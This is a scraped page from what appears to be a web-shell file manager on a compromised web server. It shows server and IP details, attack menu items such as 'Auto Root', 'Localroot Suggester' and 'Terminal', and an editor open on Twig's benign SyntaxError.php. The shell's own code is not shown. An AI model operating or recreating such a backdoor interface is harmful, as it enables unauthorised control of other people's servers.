Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.44
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
twig /
twig /
src /
Error /
Delete
Unzip
Name
Size
Permission
Date
Action
Error.php
6.72
KB
-rw-rw-r--
2022-08-12 06:47
LoaderError.php
387
B
-rw-rw-r--
2022-08-12 06:47
RuntimeError.php
397
B
-rw-rw-r--
2022-08-12 06:47
SyntaxError.php
1.15
KB
-rw-rw-r--
2022-08-12 06:47
Save
Rename
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * (c) Armin Ronacher * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig\Error; /** * \Exception thrown when a syntax error occurs during lexing or parsing of a template. * * @author Fabien Potencier <fabien@symfony.com> */ class SyntaxError extends Error { /** * Tweaks the error message to include suggestions. * * @param string $name The original name of the item that does not exist * @param array $items An array of possible items */ public function addSuggestions(string $name, array $items): void { $alternatives = []; foreach ($items as $item) { $lev = levenshtein($name, $item); if ($lev <= \strlen($name) / 3 || false !== strpos($item, $name)) { $alternatives[$item] = $lev; } } if (!$alternatives) { return; } asort($alternatives); $this->appendMessage(sprintf(' Did you mean "%s"?', implode('", "', array_keys($alternatives)))); } }